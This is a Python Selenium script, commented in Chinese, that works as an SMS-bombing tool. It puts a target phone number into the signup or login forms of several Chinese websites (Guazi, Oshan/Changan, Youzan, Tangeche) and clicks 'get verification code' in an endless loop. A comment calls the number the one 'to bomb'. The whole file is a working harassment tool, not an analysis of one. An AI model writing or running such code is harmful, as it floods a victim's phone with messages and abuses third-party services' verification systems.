from selenium import webdriver
import time
# from fake_useragent import UserAgent
# ua = UserAgent(verify_ssl=False)
from selenium.webdriver.common.action_chains import ActionChains
opt = webdriver.ChromeOptions()
# opt.add_argument('--headless')
#更换头部
opt.add_argument('user-agent="%s"' % 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36')
driver = webdriver.Chrome(chrome_options=opt)
class PunchBack:
def __init__(self):
#放要轰炸的手机号
self.phone = '*******'
self.name = 'wocao123456'
self.password = 'nima789456++..'
self.num = 0
# 发送验证码
def send_yzm(self,button,name):
button.click()
self.num+=1
print("{} 第{}次 发送成功 {}".format(self.phone,self.num,name))
# 瓜子注册接口
def guazi(self,name):
try:
driver.implicitly_wait(10)
driver.get ( "https://www.guazi.com/www/bj/buy" )
a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
a_btn.click ()
tel = driver.find_element_by_xpath ( "/html/body/div[2]/form/ul/li[1]/input" )
tel.send_keys ( self.phone )
button = driver.find_element_by_xpath ( "/html/body/div[2]/form/ul/li[2]/button" )
self.send_yzm ( button,name )
except:
print('本次失败')
#长安
def changan(self,name):
try:
driver.get ( "http://www.oshanauto.com/member/login?jump=http://www.oshanauto.com/member" )
driver.implicitly_wait(10)
tel = driver.find_element_by_xpath ( "/html/body/div[1]/div[2]/div/div/div[1]/div/input" )
tel.send_keys ( self.phone )
driver.find_element_by_xpath ( '/html/body/div[1]/div[2]/div/div/div[2]/div/span' ).click()
button = driver.find_element_by_xpath ("/html/body/div[1]/div[2]/div/div/div[2]/div/span" )
self.send_yzm ( button,name )
# self.send_yzm (name)
except:
print('本次失败')
# 有赞注册接口
def youzan(self,name):
try:
driver.get('https://www.youzan.com/v2/account?from_source=baidu_pz_shouye_0&')
driver.implicitly_wait(10)
driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
button = driver.find_element_by_xpath('//button[contains(./text(),"获取验证码")]')
self.send_yzm(button, name)
except:
print('本次失败')
# 弹个车
def tangeche(self,name):
for i in range(3):
driver.get('https://www.tangeche.com/market')
time.sleep(0.1)
# driver.implicitly_wait(10)
driver.find_element_by_xpath('//input[@placeholder="请输入您的手机号"]').send_keys(self.phone)
button=driver.find_element_by_xpath('//div[contains(./text(),"咨询更多优惠")]')
self.send_yzm(button,name)
# 循环执行
def main(self):
while True:
self.changan('长安')
time.sleep(60)
if __name__ == '__main__':
OnePunchMan = PunchBack()
OnePunchMan.main()